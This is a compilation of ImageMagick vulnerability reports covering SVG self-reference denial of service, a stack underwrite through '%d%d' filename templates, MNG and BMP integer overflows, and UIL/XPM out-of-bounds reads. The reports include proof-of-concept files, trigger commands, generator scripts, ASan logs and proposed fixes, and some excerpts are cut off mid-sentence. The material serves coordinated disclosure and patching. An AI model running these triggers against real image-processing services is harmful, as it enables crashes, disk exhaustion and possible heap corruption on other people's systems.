The `format` variable here is `"%%"`. At this point, it is safe to access `*(format + 2)` but not safe to access `*(format + 3)`. ```c for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } ``` The first `strchr` call returns a pointer equal to `format` and assigns it to `p`. Then `q` is initialized with `p + 1` (`format + 1`), and `*q` is `'%'`, so the code enters the if branch. Here, `p` is reassigned to `q + 1` (`format + 2`). In the next iteration, `p + 1` (`format + 3`) is passed to `strchr`, and when `strchr` accesses it, this causes an out-of-bounds read. |

ImageMagick: Specially crafted SVG leads to segmentation fault and generate trash files in "/tmp", possible to leverage DoS ### Summary Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS. ### Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara) ### Tested ImageMagick version 6.9.11-60, 7.1.0-62 ### Details A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file. It seems that this error affects a lot of websites and causes a generating trash files in ```/tmp``` when uploading this PC file to the server. I think it's better to check the file descriptor coming from itself before executing ```read()```. ### PoC 1. Generate SVG file: ```<?xml version="1.0" standalone="yes"?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="bad.svg" /> </svg> ``` 2.

This trash file can be large, if SVG file contains many render action. ### Additional impact In DOS attack if remount attacker uploads an SVG file of size t, ImageMagick generates files of size 103*t. This means that if an attacker uploads a 100 M SVG, the server will generate about 10 G. Example: ``` $cat dos_poc.py open("bad_dos.svg", "w").write("""<?xml version="1.0"?> <?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" href="bad_dos.svg"""" + "0"*(1024*1021) + """"" /> </svg>""") $rm -rf /tmp/magick-* $python3 dos_poc.py $du -h bad_dos.svg 1,0M bad_dos.svg $../magick convert -font OpenSymbol bad_dos.svg t.jpg Segmentation fault $cat /tmp/magick-* > dos_k.txt $du -h dos_k.txt 103M dos_k.txt ``` P. S. If ImageMagick will work in Docker container this attack will crash server where docker running. Because the size of the docker container will increase. |

ImageMagick has a Stack Buffer Overflow in image.c Hi, we have found a stack buffer overflow and would like to report this issue. Could you confirm if this qualifies as a security vulnerability? I am happy to provide any additional information needed. ## Summary In ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`. ### Additional information Upon further investigation, we found that the same issue occurs not only with mogrify but also with the following subcommands: compare, composite, conjure, convert, identify, mogrify, and montage. Furthermore, we confirmed that this vulnerability has the potential to lead to RCE. RCE is possible when ASLR is disabled and there is a suitable one_gadget in libc, provided that options and filenames can be controlled. ## Details - **Vulnerability Type:** CWE-124: Buffer Underwrite - **Affected Component:** MagickCore/image.c - Format processing within InterpretImageFilename() - **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) - **CWE-124: Buffer Underwrite:** A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing. ## Reproduction ### Tested Environment - **Operating System:** Ubuntu 22.04 LTS - **Architecture:** x86_64 - **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0) ### Reproduction Steps ```bash # Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick mogrify %d%d ``` ### Output ```plaintext ==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10 WRITE of size 2 at 0x7ffda834caae thread T0 #0 0x7f1ea367fb26 in __interceptor_vsnprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470 #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495 #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696 #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051 #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858 #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x560813499a0c in MagickMain utilities/magick.c:153 #8 0x560813499cba in main utilities/magick.c:184 #9 0x7f1ea1c0bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #10 0x7f1ea1c0be3f in __libc_start_main_impl ../csu/libc-start.c:392 #11 0x560813499404 in _start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404) Address 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027 This frame has 2 object(s): [32, 40) 'images' (line 1033) [64, 4160) 'read_filename' (line 1029) <== Memory access at offset 62 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 in __interceptor_vsnprintf Shadow bytes around the buggy address: 0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00 0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4155==ABORTING ``` ### Affected Code In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; /*--------Affected--------*/ (void) FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); offset+=(4-field_width); /*--------Affected--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` ## Technical Analysis This vulnerability is caused by an inconsistency in the template expansion processing within `InterpretImageFilename()`. The format specifiers `%d`, `%o`, and `%x` in templates are replaced with integer values by `FormatLocaleString()`, but the output buffer position is calculated by `filename + (p - format - offset)`. The `offset` variable is cumulatively incremented to correct the output length of `%d` etc., but the design using a static `offset += (4 - field_width)` causes `offset` to increase excessively when `%` specifiers are consecutive in the template, creating a dangerous state where the write destination address points before `filename`. The constant `4` was likely chosen based on the character count of typical format specifiers like `%03d` (total of 4 characters: `%`, `0`, `3`, `d`). However, in reality, there are formats with only 2 characters like `%d`, and formats with longer width specifications (e.g., `%010d`), so this uniform constant-based correction is inconsistent with actual template structures. As a result, when the correction value becomes excessive, `offset` exceeds the relative position `p - format` within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability. This causes `vsnprintf()` to write outside the stack buffer range, which is detected by AddressSanitizer as a `stack-buffer-overflow`. ## Proposed Fix In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... /*--------Changed--------*/ ssize_t field_width, offset, written; // Added /*--------Changed--------*/ ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; written = FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); /*--------Changed--------*/ if (written <= 0 || written > (MagickPathExtent - (p - format - offset))) return 0; offset += (ssize_t)((q - p) - written); /*--------Changed--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` - By updating `offset` based on the difference between template description length `(q - p)` and the number of output bytes `written`, buffer position consistency is maintained. - Correction is performed according to the actual template structure, ensuring stable behavior regardless of format length without relying on static constants. - Range checking of `written` allows detection of vsnprintf failures and excessive writes. ### Commits Fixed in https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774 and https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e |

imagemagick: integer overflows in MNG magnification ## **Vulnerability Details** The magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption. The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured. ```c static Image *ReadOneMNGImage(MngReadInfo* mng_info, const ImageInfo *image_info,ExceptionInfo *exception) { // Lots of stuff, this is effectively a state machine for the MNG rendering commands, // skip to the point where we start processing the "MAGN" command. if (memcmp(type,mng_MAGN,4) == 0) { png_uint_16 magn_first, magn_last, magn_mb, magn_ml, magn_mr, magn_mt, magn_mx, magn_my, magn_methx, magn_methy; // Details unimportant, but each of the `magn_xxx` variables is read from the file. if (magn_first == 0 || magn_last == 0) { /* Save the magnification factors for object 0 */ mng_info->magn_mb=magn_mb; mng_info->magn_ml=magn_ml; mng_info->magn_mr=magn_mr; mng_info->magn_mt=magn_mt; mng_info->magn_mx=magn_mx; mng_info->magn_my=magn_my; mng_info->magn_methx=magn_methx; mng_info->magn_methy=magn_methy; } } // Details unimportant, we load the image to be scaled and store it in `image` if (mng_type) { MngBox crop_box; if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) && ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5))) { png_uint_32 magnified_height, magnified_width; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk"); if (image->columns == 1) mng_info->magn_methx = 1; if (image->rows == 1) mng_info->magn_methy = 1; if (mng_info->magn_methx == 1) { magnified_width=mng_info->magn_ml; // [0] if (image->columns > 1) magnified_width += mng_info->magn_mr; // [1] if (image->columns > 2) magnified_width += (png_uint_32) ((image->columns-2)*(mng_info->magn_mx)); // [2] } // Different cases handle available scaling kinds, all of which have similar issues... // We now check whether the output image is larger than the input image in either // dimension, and if so, we will allocate a new image buffer of size // `magnified_width * magnified_height`. if (magnified_height > image->rows || magnified_width > image->columns) { Image *large_image; // Snip... large_image->columns=magnified_width; large_image->rows=magnified_height; magn_methx=mng_info->magn_methx; magn_methy=mng_info->magn_methy; // In between here, we allocate the pixel buffer for `large_image`. /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); // [3] ``` If we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \[0\] and \[1\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required. When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a `q` pointer outside the buffer bounds. This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation. Triggering this issue requires an `image` with large `columns` or `rows` (\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`). ## **Affected Version(s)** Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0). ### **Build Instructions** ```shell git clone

./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write. ``` import struct import zlib def create_chunk(chunk_type, data): crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF return struct.pack('>I',

ImageMagick has Global Buffer Overflow (OOB Read) via Negative Pixel Index in UIL and XPM Writer The UIL and XPM image encoder do not validate the pixel index value returned by `GetPixelIndex()` before using it as an array subscript. In HDRI builds, `Quantum` is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash. ``` READ of size 1 at 0x55a8823a776e thread T0 #0 0x55a880d01e85 in WriteUILImage coders/uil.c:355 ``` ``` READ of size 1 at 0x55fa1c04c66e thread T0 #0 0x55fa1a9ee415 in WriteXPMImage coders/xpm.c:1135 ``` |

ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow ## Summary A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. - **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**. - **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers. - **32-bit:** **Vulnerable** (reproduced with ASan). - **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). --- ## Scope & Affected Builds - **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`). - **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7` - **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712` - **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan. - **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit. --- ## Root Cause (with code anchors) ### Stride computation (writer) ```c bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32); ``` ### Per-row base and 24-bpp loop (writer) ```c q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line; for (x = 0; x < (ssize_t)image->columns; x++) { *q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes } ``` ### Allocation (writer) ```c pixel_info = AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels)); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); ``` ### Dimension “caps” (insufficient) The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug. --- ## Integer-Overflow Analysis (32-bit `size_t`) Stride formula for 24-bpp: ``` bytes_per_line = 4 * ((width * 24 + 31) / 32) ``` There are **two independent overflow hazards** on 32-bit: 1. **Stage-1 multiply+add** in `(width * 24 + 31)` Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969` → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`. 2. **Stage-2 final ×4** after the division Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`. Solving gives **width ≥ 1,431,655,765 (0x55555555)**. Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help. **Mismatch predicate (guaranteed OOB when overflowed):** Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`. Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**. --- ## Concrete Demonstration Chosen width: **`W = 178,957,200`** (just over Stage-1 bound) - Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535** - Divide by 32: `5535 / 32 = 172` - Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride - Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes` - Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes` - **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. --- ## Observed Result (ASan excerpt) ``` ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092 ``` - Binary: **ELF 32-bit i386**, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro) --- ## Exploitability & Risk - **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N). - **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**. **Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors. --- ## Reproduction (copy-paste triager script) **Test Environment:** - `docker run -it --rm --platform linux/386 debian:11 bash` - Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3` - Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...` - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary): ```bash ./configure \ --host=i686-pc-linux-gnu \ --build=x86_64-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined" make -j"$(nproc)" ``` - Runtime limits to exercise writer: ```bash export MAGICK_WIDTH_LIMIT=200000000 export MAGICK_HEIGHT_LIMIT=200000000 export MAGICK_TEMPORARY_PATH=/tmp export TMPDIR=/tmp export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0" ``` **One-liner trigger (no input file):** ```bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null ``` **Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link). **Alternate PoC (raw PPM generator):** ```python #!/usr/bin/env python3 W, H, MAXV = 180_000_000, 1, 255 # W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") * (1024*1024) remaining = 3 * W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n # Then: magick huge.ppm out.bmp ``` --- ## Proposed Severity - **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical** - **If strictly CLI/manual conversion:** `UI:R` → **8.8 High** --- ## Maintainer Pushbacks — Pre-empted - **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size. - **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct. --- ## Remediation (Summary) Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds. Concretely: - Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t. - Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line. - Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow. A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers). --- ## Regression Tests to Include (PR-friendly) 1. **32-bit overflow repros** (with ASan): - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors. - `rows=2`, same bound → no row overlap; clean error. 2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`. 3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds. --- ## Attachments (private BMP_Package) Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.) --- ## Disclosure & Coordination - **Reporter:** Lumina Mescuwa - **Tested on:** i686 Linux container (details in Repro) - **Timeline:** August 19th, 2025 --- ## Appendices ### Appendix A — Patch block tailored to `bmp.c` **Where this hooks in (current code):** - Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);` - Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);` - Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));` - 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;` --- ## Suggested Patch (minimal surface, guards + invariant) I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is. ```c /* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */ /* 1) Guard the original stride arithmetic (preserve behavior, add checks). */ if (bmp_info.bits_per_pixel == 0 || (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31; /* Divide first; then check the final ×4 won't overflow. */ _tmp /= 32; if (_tmp > (SIZE_MAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bytes_per_line = 4 * _tmp; /* same formula as before, now checked */ /* 2) Compute the actual data bytes written per row for the chosen bpp. */ size_t row_bytes; if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) { /* packed: ceil(width*bpp/8) */ if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3; } else { /* 16/24/32 bpp: (bpp/8) * width */ size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8; if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = bpp_bytes * (size_t)image->columns; } /* 3) Per-row safety invariant: the payload must fit the stride. */ if (row_bytes > bytes_per_line) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); /* 4) Guard header size and allocation products. */ if ((size_t)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); /* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */ if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows); /* Allocation count = rows * stride_used, with existing MagickMax policy. */ size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL); if (_stride > SIZE_MAX / (size_t)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels)); if (pixel_info == (MemoryInfo *) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); /* Optional: keep zeroing aligned to computed header size. */ (void) memset(pixels, 0, (size_t) bmp_info.image_size); /* --- PATCH END --- */ ``` ### Why this is the right spot? - It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). - It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. - It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. - The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. --- ## Notes - **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. - **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. - **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff. A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths. ### Appendix B — Arithmetic Worked Example (W=178,957,200) - `(24W + 31) mod 2^32 = 5535` - `bytes_per_line = 4 * (5535/32) = 688` - `row_bytes (24-bpp) = 536,871,600` - Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds. ### Appendix C — Raw ASan Log (trimmed) ``` ================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in __interceptor_posix_memalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092 ``` |

